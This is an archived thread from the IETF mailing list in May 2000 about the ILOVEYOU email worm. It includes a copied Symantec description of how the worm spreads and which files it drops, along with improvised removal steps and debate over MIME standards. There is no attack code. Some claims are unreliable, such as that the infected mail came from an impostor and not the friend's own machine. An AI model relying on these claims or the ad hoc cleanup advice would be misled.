X-Loop:  ietf@ietf.org
Content-Transfer-Encoding:  7bit
>The is an e-mail virus going around. The subject of the e-mail is
>ILOVEYOU...I suggest you delete it the moment you receive it.
>
>-Scot Mc Pherson, N2UPA
>-Sr. Network Analyst
>-ClearAccess Communications
>-Ph: 941.744.5757 ext. 210
>-Fax: 941.744.0629
>-mailto:smcpherson@clearaccess.net
>-http://www.clearaccess.net
>



From owner-ietf-outbound  Thu May  4 11:00:21 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA07445
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 11:00:02 -0400 (EDT)
Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA07101
	for <ietf@ietf.org>; Thu, 4 May 2000 10:46:51 -0400 (EDT)
From: Valdis.Kletnieks@vt.edu
Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1])
	by black-ice.cc.vt.edu (8.11.0.Beta0/8.11.0.Beta0) with ESMTP id e44Ekbh33444;
	Thu, 4 May 2000 10:46:37 -0400
Message-Id: <200005041446.e44Ekbh33444@black-ice.cc.vt.edu>
X-Mailer: exmh version 2.1.1 10/15/1999
To: isp-wireless@isp-wireless.com, ietf@ietf.org
Subject: THe Value Of Following Standards... (was Re: VIRUS WARNING)
In-reply-to: Your message of "Thu, 04 May 2000 09:27:19 EDT."
             <00cf01bfb5cc$79bc4280$4cc8a8c0@clearaccess.net> 
X-URL: http://black-ice.cc.vt.edu/~valdis/
X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t(
 ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[<!v4-0bVIpaxF#-)
 %9#a9h6JXI|T|8o6t\V?kGl]Q!1V]GtNliUtz:3},0"hkPeBuu%E,j(:\iOX-P,t7lRR#
References: <00cf01bfb5cc$79bc4280$4cc8a8c0@clearaccess.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Thu, 04 May 2000 10:46:33 -0400
X-Loop: ietf@ietf.org

On Thu, 04 May 2000 09:27:19 EDT, Scot Mc Pherson <smcpherson@clearaccess.net>  said:
> The is an e-mail virus going around. The subject of the e-mail is
> ILOVEYOU...I suggest you delete it the moment you receive it.

Somebody didn't read RFC2046, section 2, where it talks about text/plain
being *TEXT*, and application/* being *application data*.

So if your e-mail software is opening it and feeding it to Visual Basic
just because it's tagged .vbs even though it's a text/plain, you're
violating the RFCs.

I'm not pointing fingers, but.... ;)

-- 
				Valdis Kletnieks
				Operating Systems Analyst
				Virginia Tech



From owner-ietf-outbound  Thu May  4 11:10:07 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA07772
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 11:10:03 -0400 (EDT)
Received: from vrtx.co.uk (root@vortex1.vrtx.net [195.224.63.4])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA07356
	for <ietf@ietf.org>; Thu, 4 May 2000 10:56:18 -0400 (EDT)
Received: from localhost (james@localhost)
	by vrtx.co.uk (8.9.3/8.8.8) with ESMTP id QAA22716;
	Thu, 4 May 2000 16:03:18 +0100
Date: Thu, 4 May 2000 16:03:18 +0100 (BST)
From: A James Lewis <james@FSCK.CO.UK>
X-Sender: james@vortex1.vrtx.net
cc: isp-wireless@isp-wireless.com, ietf@ietf.org
Subject: Re: VIRUS WARNING
In-Reply-To: <00cf01bfb5cc$79bc4280$4cc8a8c0@clearaccess.net>
Message-ID: <Pine.LNX.4.20.0005041602360.21980-100000@vortex1.vrtx.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org


This is actually genuine for once... it's a vbscript..  

On Thu, 4 May 2000, Scot Mc Pherson wrote:

> The is an e-mail virus going around. The subject of the e-mail is
> ILOVEYOU...I suggest you delete it the moment you receive it.
> 
> -Scot Mc Pherson, N2UPA
> -Sr. Network Analyst
> -ClearAccess Communications
> -Ph: 941.744.5757 ext. 210
> -Fax: 941.744.0629
> -mailto:smcpherson@clearaccess.net
> -http://www.clearaccess.net
> 

A. James Lewis (james@fsck.co.uk)
- Linux is swift and powerful.  Beware its wrath...



From owner-ietf-outbound  Thu May  4 11:20:08 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA08111
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 11:20:02 -0400 (EDT)
Received: from localhost.localdomain (IDENT:root@[204.214.6.250])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA07866
	for <ietf@ietf.org>; Thu, 4 May 2000 11:12:16 -0400 (EDT)
Received: from tech20 ([204.214.6.254])
	by localhost.localdomain (8.9.3/8.8.7) with SMTP id LAA05054
	for <ietf@ietf.org>; Thu, 4 May 2000 11:11:15 -0400
From: "Scot Mc Pherson" <smcpherson@clearaccess.net>
To: <ietf@ietf.org>
Subject: RE: VIRUS WARNING 
Date: Thu, 4 May 2000 11:11:50 -0400
Message-ID: <00e101bfb5db$13959a60$4cc8a8c0@clearaccess.net>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Importance: Normal
In-Reply-To: <200005041448.KAA02601@torque.pothole.com>
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Actually what happened, was I received this virus from a trusted friend who
just so happens would send an e-mail to me with that sort of "literary"
content to me as a joke. So as it happens it was a perfect trojan because it
slipped under my defenses by being something I would normally expect. My
software doesn't open attachments by default. Thus it was entirely my error.
I am just glad that I didn't have any e-mail lists in my "address book"

In fact to back up your statement, there are exactly 3 virii that infect
UNIX based systems.

Scot

-----Original Message-----
From: Donald E. Eastlake 3rd [mailto:dee3@torque.pothole.com]
Sent: Thursday, May 04, 2000 10:48 AM
To: ietf@ietf.org
Subject: Re: VIRUS WARNING



The whole world does not run software which is a good culture medium
for email viruses.  I mostly use nice old UNIX software and it would
take a number of extra steps on my part for some embdedded virus to
get a chance to run.  If your software automatically executes stuff
in attachments, you need to change your software, not develope a list
of subject lines you are freightened of.

Donald

From:  "Scot Mc Pherson" <smcpherson@clearaccess.net>
To:  <isp-wireless@isp-wireless.com>, <ietf@ietf.org>
Date:  Thu, 4 May 2000 09:27:19 -0400
Message-ID:  <00cf01bfb5cc$79bc4280$4cc8a8c0@clearaccess.net>
Content-Type:  text/plain;
	      	charset="iso-8859-1"
Content-Transfer-Encoding:  7bit
X-MSMail-Priority:  Normal
X-MimeOLE:  Produced By Microsoft MimeOLE V5.00.2314.1300
Importance:  Normal
In-Reply-To:  <200005031840.NAA29189@benjamin.lisco.com>
Content-Transfer-Encoding:  7bit
X-Loop:  ietf@ietf.org
Content-Transfer-Encoding:  7bit
>The is an e-mail virus going around. The subject of the e-mail is
>ILOVEYOU...I suggest you delete it the moment you receive it.
>
>-Scot Mc Pherson, N2UPA
>-Sr. Network Analyst
>-ClearAccess Communications
>-Ph: 941.744.5757 ext. 210
>-Fax: 941.744.0629
>-mailto:smcpherson@clearaccess.net
>-http://www.clearaccess.net
>



From owner-ietf-outbound  Thu May  4 11:30:21 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA08420
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 11:30:02 -0400 (EDT)
Received: from ernst.netinsight.se (ernst.netinsight.se [194.16.221.130])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA08244
	for <ietf@ietf.org>; Thu, 4 May 2000 11:24:56 -0400 (EDT)
Received: from localhost (unverified [10.100.1.11]) by ernst.netinsight.se
 (EMWAC SMTPRS 0.83) with SMTP id <B0000663318@ernst.netinsight.se>;
 Thu, 04 May 2000 17:24:14 +0200
To: Valdis.Kletnieks@vt.edu
Cc: isp-wireless@isp-wireless.com, ietf@ietf.org
Subject: Re: THe Value Of Following Standards... (was Re: VIRUS WARNING)
In-Reply-To: <200005041446.e44Ekbh33444@black-ice.cc.vt.edu>
References: <00cf01bfb5cc$79bc4280$4cc8a8c0@clearaccess.net>
	<200005041446.e44Ekbh33444@black-ice.cc.vt.edu>
X-Mailer: Mew version 1.94.1 on Emacs 20.4 / Mule 4.0 (HANANOEN)
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20000504172422L.magda@netinsight.se>
Date: Thu, 04 May 2000 17:24:22 +0200
From: Magnus Danielson <magda@NETINSIGHT.SE>
X-Dispatcher: imput version 991025(IM133)
Lines: 24
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

From: Valdis.Kletnieks@vt.edu
Subject: THe Value Of Following Standards... (was Re: VIRUS WARNING)
Date: Thu, 04 May 2000 10:46:33 -0400

> On Thu, 04 May 2000 09:27:19 EDT, Scot Mc Pherson <smcpherson@clearaccess.net>  said:
> > The is an e-mail virus going around. The subject of the e-mail is
> > ILOVEYOU...I suggest you delete it the moment you receive it.
> 
> Somebody didn't read RFC2046, section 2, where it talks about text/plain
> being *TEXT*, and application/* being *application data*.
> 
> So if your e-mail software is opening it and feeding it to Visual Basic
> just because it's tagged .vbs even though it's a text/plain, you're
> violating the RFCs.
> 
> I'm not pointing fingers, but.... ;)

You are missing the point here, this is user friendliness, the user is allowed
to do whatever he/she wants, even in others equipment with others data. ;)

It does make box managment so much easier ;)

Cheers,
Magnus



From owner-ietf-outbound  Thu May  4 11:50:29 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA09021
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 11:50:02 -0400 (EDT)
Received: from alcove.wittsend.com (IDENT:root@mirror1.wittsend.com [130.205.0.28])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA08796
	for <ietf@ietf.org>; Thu, 4 May 2000 11:41:47 -0400 (EDT)
Received: (from mhw@localhost)
	by alcove.wittsend.com (8.9.3/8.9.3) id KAA29748;
	Thu, 4 May 2000 10:41:34 -0400
Date: Thu, 4 May 2000 10:41:34 -0400
From: "Michael H. Warfield" <mhw@wittsend.com>
To: Valdis.Kletnieks@vt.edu
Cc: isp-wireless@isp-wireless.com, ietf@ietf.org
Subject: Re: THe Value Of Following Standards... (was Re: VIRUS WARNING)
Message-ID: <20000504104134.E15048@alcove.wittsend.com>
References: <00cf01bfb5cc$79bc4280$4cc8a8c0@clearaccess.net> <200005041446.e44Ekbh33444@black-ice.cc.vt.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.1.5i
In-Reply-To: <200005041446.e44Ekbh33444@black-ice.cc.vt.edu>; from Valdis.Kletnieks@vt.edu on Thu, May 04, 2000 at 10:46:33AM -0400
X-Loop: ietf@ietf.org

On Thu, May 04, 2000 at 10:46:33AM -0400, Valdis.Kletnieks@vt.edu wrote:
> On Thu, 04 May 2000 09:27:19 EDT, Scot Mc Pherson <smcpherson@clearaccess.net>  said:
> > The is an e-mail virus going around. The subject of the e-mail is
> > ILOVEYOU...I suggest you delete it the moment you receive it.

> Somebody didn't read RFC2046, section 2, where it talks about text/plain
> being *TEXT*, and application/* being *application data*.

> So if your e-mail software is opening it and feeding it to Visual Basic
> just because it's tagged .vbs even though it's a text/plain, you're
> violating the RFCs.

> I'm not pointing fingers, but.... ;)

	Your mailer may be able to display it as text (mine, Mutt, certainly
can) but it is definitely propagating as type application/octet-stream, not
text/plain.  Wish we could lay that one on them, but we can't.

	It's also now reported to be able to propagate across IRC.

> -- 
> 				Valdis Kletnieks
> 				Operating Systems Analyst
> 				Virginia Tech

	Mike
-- 
 Michael H. Warfield    |  (770) 985-6132   |  mhw@WittsEnd.com
  (The Mad Wizard)      |  (770) 331-2437   |  http://www.wittsend.com/mhw/
  NIC whois:  MHW9      |  An optimist believes we live in the best of all
 PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!



From owner-ietf-outbound  Thu May  4 12:10:11 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA09710
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 12:10:02 -0400 (EDT)
Received: from apollo.dmnews.com (mail.dmnews.com [204.141.161.2])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA09345
	for <ietf@ietf.org>; Thu, 4 May 2000 11:56:01 -0400 (EDT)
Received: by mail.dmnews.com with Internet Mail Service (5.5.2448.0)
	id <HNLHMTT7>; Thu, 4 May 2000 12:02:28 -0400
Message-ID: <983B9A17F5EBD311905600D0B73EA0DE03D8EA@mail.dmnews.com>
From: Lillian Komlossy <Lillian@dmnews.com>
To: "'ietf@ietf.org'" <ietf@ietf.org>
Subject: RE: VIRUS WARNING 
Date: Thu, 4 May 2000 12:02:28 -0400 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org

Donald,

The whole world will not switch over to Unix 
- the average user will always be more confortable with Windows 
unless Unix will at one point offer the same  seamless user-friendliness. 
So it will always be a problem, one which cannot be solved by telling 
others not to use what they've accustomed to - and one which cannot be
ignored.


Lillian Komlossy                     
Site Manager                         
http://www.dmnews.com           
http://www.imarketingnews.com  
(212) 925-7300 ext. 232 


-----Original Message-----
From: Donald E. Eastlake 3rd [mailto:dee3@torque.pothole.com]
Sent: Thursday, May 04, 2000 10:48 AM
To: ietf@ietf.org
Subject: Re: VIRUS WARNING 



The whole world does not run software which is a good culture medium
for email viruses.  I mostly use nice old UNIX software and it would
take a number of extra steps on my part for some embdedded virus to
get a chance to run.  If your software automatically executes stuff
in attachments, you need to change your software, not develope a list
of subject lines you are freightened of.

Donald

From:  "Scot Mc Pherson" <smcpherson@clearaccess.net>
To:  <isp-wireless@isp-wireless.com>, <ietf@ietf.org>
Date:  Thu, 4 May 2000 09:27:19 -0400
Message-ID:  <00cf01bfb5cc$79bc4280$4cc8a8c0@clearaccess.net>
Content-Type:  text/plain;
	      	charset="iso-8859-1"
Content-Transfer-Encoding:  7bit
X-MSMail-Priority:  Normal
X-MimeOLE:  Produced By Microsoft MimeOLE V5.00.2314.1300
Importance:  Normal
In-Reply-To:  <200005031840.NAA29189@benjamin.lisco.com>
Content-Transfer-Encoding:  7bit
X-Loop:  ietf@ietf.org
Content-Transfer-Encoding:  7bit
>The is an e-mail virus going around. The subject of the e-mail is
>ILOVEYOU...I suggest you delete it the moment you receive it.
>
>-Scot Mc Pherson, N2UPA
>-Sr. Network Analyst
>-ClearAccess Communications
>-Ph: 941.744.5757 ext. 210
>-Fax: 941.744.0629
>-mailto:smcpherson@clearaccess.net
>-http://www.clearaccess.net
>



From owner-ietf-outbound  Thu May  4 12:20:13 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA09962
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 12:20:02 -0400 (EDT)
Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA09403
	for <ietf@ietf.org>; Thu, 4 May 2000 11:58:20 -0400 (EDT)
Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1])
        by astro.cs.utk.edu (cf 8.9.3) with ESMTP id LAA22613;
        Thu, 4 May 2000 11:57:49 -0400 (EDT)
Message-Id: <200005041557.LAA22613@astro.cs.utk.edu>
X-URI: http://www.cs.utk.edu/~moore/
From: Keith Moore <moore@cs.utk.edu>
To: Valdis.Kletnieks@vt.edu
cc: isp-wireless@isp-wireless.com, ietf@ietf.org
Subject: Re: THe Value Of Following Standards... (was Re: VIRUS WARNING) 
In-reply-to: Your message of "Thu, 04 May 2000 10:46:33 EDT."
             <200005041446.e44Ekbh33444@black-ice.cc.vt.edu> 
Date: Thu, 04 May 2000 11:57:49 -0400
Sender: moore@cs.utk.edu
X-Loop: ietf@ietf.org

> So if your e-mail software is opening it and feeding it to Visual Basic
> just because it's tagged .vbs even though it's a text/plain, you're
> violating the RFCs.

well there's nothing illegal about violating RFCs.

but it sure seems like the deliberate inclusion of a security hole in 
email software would be sufficient grounds for a class action lawsuit.

Keith



From owner-ietf-outbound  Thu May  4 12:30:14 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA10284
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 12:30:02 -0400 (EDT)
Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA09470
	for <ietf@ietf.org>; Thu, 4 May 2000 12:00:28 -0400 (EDT)
Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1])
        by astro.cs.utk.edu (cf 8.9.3) with ESMTP id MAA22636;
        Thu, 4 May 2000 12:00:20 -0400 (EDT)
Message-Id: <200005041600.MAA22636@astro.cs.utk.edu>
X-URI: http://www.cs.utk.edu/~moore/
From: Keith Moore <moore@cs.utk.edu>
To: "Scot Mc Pherson" <smcpherson@clearaccess.net>
cc: ietf@ietf.org
Subject: Re: VIRUS WARNING 
In-reply-to: Your message of "Thu, 04 May 2000 11:11:50 EDT."
             <00e101bfb5db$13959a60$4cc8a8c0@clearaccess.net> 
Date: Thu, 04 May 2000 12:00:20 -0400
Sender: moore@cs.utk.edu
X-Loop: ietf@ietf.org

> Actually what happened, was I received this virus from a trusted friend 

but of course you didn't receive the virus from a trusted friend;
you received it from an impostor.

now you know not to trust names that appear in a message header.

Keith



From owner-ietf-outbound  Thu May  4 12:40:16 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA10674
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 12:40:04 -0400 (EDT)
Received: from localhost.localdomain (IDENT:root@[204.214.6.250])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA10173
	for <ietf@ietf.org>; Thu, 4 May 2000 12:25:34 -0400 (EDT)
Received: from tech20 ([204.214.6.254])
	by localhost.localdomain (8.9.3/8.8.7) with SMTP id MAA05537;
	Thu, 4 May 2000 12:24:32 -0400
From: "Scot Mc Pherson" <smcpherson@clearaccess.net>
To: "'Scot Mc Pherson'" <smcpherson@clearaccess.net>,
        <isp-wireless@isp-wireless.com>, <ietf@ietf.org>,
        "'Brian Duddy (E-mail)'" <bduddy@clearaccess.net>,
        "'Kevin Speilman (E-mail)'" <KevinS@Wi-LAN.com>,
        "'Michael F. Young (E-mail)'" <MY@ydi.com>,
        "'Perry Lewis (E-mail)'" <PLewis@Wire-less-Inc.com>,
        "'Robert E Sollmann (E-mail)'" <TimberdoodleHouse@compuserve.com>,
        "'Roger Shepheard (E-mail)'" <rogers@dscga.com>
Subject: RE: VIRUS WARNING
Date: Thu, 4 May 2000 12:25:36 -0400
Message-ID: <000201bfb5e5$61c06440$4cc8a8c0@clearaccess.net>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Importance: Normal
In-Reply-To: <00dc01bfb5d5$e0414a60$4cc8a8c0@clearaccess.net>
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

In addition to what has been posted by me earlier and what has been reported
on Symantec's site, I have learned the following.

When the virus is contracted (DONOT shut down the computer or reboot) The
worm is designed to propagate fully during system startup.

It should be noted that you should do a file search based on all files
created or modified the day the worm was downloaded...NOTE that the
timestamp is irrelevent, I found files that were created at a time when the
computer was not turned on so the worm is able to create modify this info...

In the registry file all references to the five files listed on your website
should also be deleted (key and folder) You will find most of the references
within the keys that control the system tray and startup control (Not the
program folder)

The Worm also creates an href for IE startup page which downloads the virus
again...THis should be changed AFTER all the above has been accomplished

Thw Worm also creates an HTML page LOVE-LETTER-FOR-YOU.TXT.html on your
local drive which contains ActiveX scripts which redistributes the worm..
Delete this file.

This worm seems to be a sort of application that creates the other files for
some sort of source code that utilizes applicaitons already installed on the
local drive to rewrite the worm into various forms.

I believe I have wiped out the virus, but I will keep checking...One method
of checking this status is the look at the mail que of your mail server and
look for e-mail without controls.


I have received an e-mail from someone else saying these additinal sites
with information regarding ILOVEYOU, I have yet to visit them.

http://www.securityfocus.com
http://www.datafellows.com/v-descs/love.htm



-----Original Message-----
From: Scot Mc Pherson [mailto:smcpherson@clearaccess.net]
Sent: Thursday, May 04, 2000 10:35 AM
To: isp-wireless@isp-wireless.com; ietf@ietf.org; Brian Duddy (E-mail);
Kevin Speilman (E-mail); Michael F. Young (E-mail); Perry Lewis
(E-mail); Robert E Sollmann (E-mail); Roger Shepheard (E-mail)
Subject: RE: VIRUS WARNING


The file subject: ILOVEYOU
Name of attachment: LOVE-LETTER-FOR-YOU.TXT.vbs

DO NOT OPEN THE ATTACHMENT.

At this time very little is known about the virus. If you have opened the
file, please see your network administrator for help.

The following link to Symantec has info on what the file does to your
system.

http://www.symantec.com/avcenter/venc/data/vbs.loveletter.a.html



Since the webpage is too busy to access I am copying the text portions of
the webpage here

VBS.LoveLetter.A
This is an email worm, mIRC worm, and file infector.

Also known as:

Category: Worm

Infection length: 10307

Virus definitions: Pending

Threat assessment:


Damage:
High
Distribution:
High
Wildness:
High


Wild

Number of infections: More than 1000
Number of sites: More than 10
Geographic distribution: High
Threat containment: Moderate
Removal: Moderate


Damage Payload:

Large scale e-mailing: All the addresses in Microsoft Outlook address book
Degrades performance: May clog mail servers
Distribution

Subject of e-mail: ILOVEYOU
Name of attachment: LOVE-LETTER-FOR-YOU.TXT.vbs
Size of attachment: 10307
Technical description:

This is a preliminary writeup. The information contained within is to
provide as much information as possible at this time.

VBS.LoveLetter.A is an email worm, mIRC worm, and a file infector.
VBS.LoveLetter.A will use Microsoft Outlook and email itself out as an
attachment with the above subject line and attachment name. The body of the
message will be

kindly check the attached LOVELETTER coming from me.

The virus will also infect files with the following extensions: vbs, vbe,
js, jse, css, wsh, sct, hta, jpg, jpeg, mp3, and mp2

The virus will insert the following files:

MSKernel32.vbs in the Windows System directory


Win32DLL.vbs in the Windows directory

LOVE-LETTER-FOR-YOU.TXT.vbs in the Windows System directory

WinFAT32.EXE in the Internet download directory

WIN-BUGSFIX.EXE in the Internet download directory

script.ini in the mIRC directory

SARC recommends Administrators filter on the attachment name and Subject
line immediately.

This writeup will be verified and formalized within the hour.

Removal:

Delete found infected files.



Write-up by: Eric Chien
Updated: May 4, 2000
  Tell a Friend about this Write-Up






-----Original Message-----
From: Scot Mc Pherson [mailto:smcpherson@clearaccess.net]
Sent: Thursday, May 04, 2000 9:27 AM
To: isp-wireless@isp-wireless.com; ietf@ietf.org
Subject: VIRUS WARNING


The is an e-mail virus going around. The subject of the e-mail is
ILOVEYOU...I suggest you delete it the moment you receive it.

-Scot Mc Pherson, N2UPA
-Sr. Network Analyst
-ClearAccess Communications
-Ph: 941.744.5757 ext. 210
-Fax: 941.744.0629
-mailto:smcpherson@clearaccess.net
-http://www.clearaccess.net



From owner-ietf-outbound  Thu May  4 12:50:13 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA10976
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 12:50:03 -0400 (EDT)
Received: from calcite.rhyolite.com (calcite.rhyolite.com [38.159.140.3])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA10761
	for <ietf@ietf.org>; Thu, 4 May 2000 12:42:15 -0400 (EDT)
Received: (from vjs@localhost)
	by calcite.rhyolite.com (8.9.3/calcite) id KAA22187
	for ietf@ietf.org  env-from <vjs>;
	Thu, 4 May 2000 10:42:13 -0600 (MDT)
Date: Thu, 4 May 2000 10:42:13 -0600 (MDT)
From: Vernon Schryver <vjs@calcite.rhyolite.com>
Message-Id: <200005041642.KAA22187@calcite.rhyolite.com>
To: ietf@ietf.org
Subject: RE: VIRUS WARNING
X-Loop: ietf@ietf.org

> From: Lillian Komlossy <Lillian@dmnews.com>

> The whole world will not switch over to Unix 
> - the average user will always be more confortable with Windows 
> unless Unix will at one point offer the same  seamless user-friendliness. 
> So it will always be a problem, one which cannot be solved by telling 
> others not to use what they've accustomed to - and one which cannot be
> ignored.

The issue cannot be ignored, but it has nothing to do with UNIX.  The
only connection with UNIX is that UNIX comes from the old tradition in
which design involved more than increasing already long lists of bullet
items that people with no knowledge or interest in computers think they
understand, but don't and don't care that they don't.

The issue is that the Internet is not merely a big but private corporate
internet such as the one in Redmond.  Authentication and authorization
are not the same things.  That which is most convenient or "user-friendly"
is not safe enough, whether it is using ActiveX to update software from
AOL/Netscape or Microsoft headquarters without the informed consent of
the local user, not requiring the informed local consent before running
the latest dancing baby email attachment, or many other things including
those that are called viruses but that don't differ significantly.


Vernon Schryver    vjs@rhyolite.com



From owner-ietf-outbound  Thu May  4 13:00:18 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA11214
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 13:00:03 -0400 (EDT)
Received: from smtpgw2.sprintspectrum.com (smtpgw2.sprintspectrum.com [208.18.119.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA10944
	for <ietf@ietf.org>; Thu, 4 May 2000 12:48:38 -0400 (EDT)
Received: from pkcex004.sprintspectrum.com (pkcex004.sprintspectrum.com [208.10.75.139])
	by smtpgw2.sprintspectrum.com (8.9.3/8.9.3) with ESMTP id LAA07899;
	Thu, 4 May 2000 11:48:27 -0500 (CDT)
Received: by pkcex004.sprintspectrum.com with Internet Mail Service (5.5.2650.21)
	id <K2Y62MH5>; Thu, 4 May 2000 11:48:27 -0500
Message-ID: <2D11BCC7FFD8D3118FD70000D1ECDC88011D5AD8@pkcexv018.sprintspectrum.com>
From: "Lipford, Mark" <MLipfo01@sprintspectrum.com>
To: "'Lillian Komlossy'" <Lillian@dmnews.com>,
        "'ietf@ietf.org'"
	 <ietf@ietf.org>
Subject: RE: VIRUS WARNING 
Date: Thu, 4 May 2000 11:48:24 -0500 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="ISO-8859-1"
X-Loop: ietf@ietf.org

This discussion is a bad as the virus.  Can we take it off this list and
have it individually please?
Mark A. Lipford


		-----Original Message-----
		From:	Lillian Komlossy [mailto:Lillian@dmnews.com]
		Sent:	Thursday, May 04, 2000 11:02 AM
		To:	'ietf@ietf.org'
		Subject:	RE: VIRUS WARNING 

		Donald,

		The whole world will not switch over to Unix 
		- the average user will always be more confortable with
Windows 
		unless Unix will at one point offer the same  seamless
user-friendliness. 
		So it will always be a problem, one which cannot be solved
by telling 
		others not to use what they've accustomed to - and one which
cannot be
		ignored.


		Lillian Komlossy                     
		Site Manager                         
		http://www.dmnews.com           
		http://www.imarketingnews.com  
		(212) 925-7300 ext. 232 


		-----Original Message-----
		From: Donald E. Eastlake 3rd
[mailto:dee3@torque.pothole.com]
		Sent: Thursday, May 04, 2000 10:48 AM
		To: ietf@ietf.org
		Subject: Re: VIRUS WARNING 



		The whole world does not run software which is a good
culture medium
		for email viruses.  I mostly use nice old UNIX software and
it would
		take a number of extra steps on my part for some embdedded
virus to
		get a chance to run.  If your software automatically
executes stuff
		in attachments, you need to change your software, not
develope a list
		of subject lines you are freightened of.

		Donald

		From:  "Scot Mc Pherson" <smcpherson@clearaccess.net>
		To:  <isp-wireless@isp-wireless.com>, <ietf@ietf.org>
		Date:  Thu, 4 May 2000 09:27:19 -0400
		Message-ID:
<00cf01bfb5cc$79bc4280$4cc8a8c0@clearaccess.net>
		Content-Type:  text/plain;
			      	charset="iso-8859-1"
		Content-Transfer-Encoding:  7bit
		X-MSMail-Priority:  Normal
		X-MimeOLE:  Produced By Microsoft MimeOLE V5.00.2314.1300
		Importance:  Normal
		In-Reply-To:  <200005031840.NAA29189@benjamin.lisco.com>
		Content-Transfer-Encoding:  7bit
		X-Loop:  ietf@ietf.org
		Content-Transfer-Encoding:  7bit
		>The is an e-mail virus going around. The subject of the
e-mail is
		>ILOVEYOU...I suggest you delete it the moment you receive
it.
		>
		>-Scot Mc Pherson, N2UPA
		>-Sr. Network Analyst
		>-ClearAccess Communications
		>-Ph: 941.744.5757 ext. 210
		>-Fax: 941.744.0629
		>-mailto:smcpherson@clearaccess.net
		>-http://www.clearaccess.net
		>



From owner-ietf-outbound  Thu May  4 13:10:18 2000
Received: by ietf.org (8.9.1a/8.9.1a) id NAA11751
	for ietf-outbound.10@ietf.org; Thu, 4 May 2000 13:10:03 -0400 (EDT)
Received: from apollo.dmnews.com (mail.dmnews.com [204.141.161.2])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA11696
	for <ietf@ietf.org>; Thu, 4 May 2000 13:07:32 -0400 (EDT)
Received: by mail.dmnews.com with Internet Mail Service (5.5.2448.0)
	id <HNLHMTZL>; Thu, 4 May 2000 13:14:00 -0400
Message-ID: <983B9A17F5EBD311905600D0B73EA0DE03D8F0@mail.dmnews.com>
From: Lillian Komlossy <Lillian@dmnews.com>
To: "'Keith Moore'" <moore@cs.utk.edu>
Cc: "'isp-wireless@isp-wireless.com'" <isp-wireless@isp-wireless.com>,
        "'ietf@ietf.org'" <ietf@ietf.org>
Subject: RE: THe Value Of Following Standards... (was Re: VIRUS WARNING) 
Date: Thu, 4 May 2000 13:13:59 -0400 
MIME-Version: 1.0
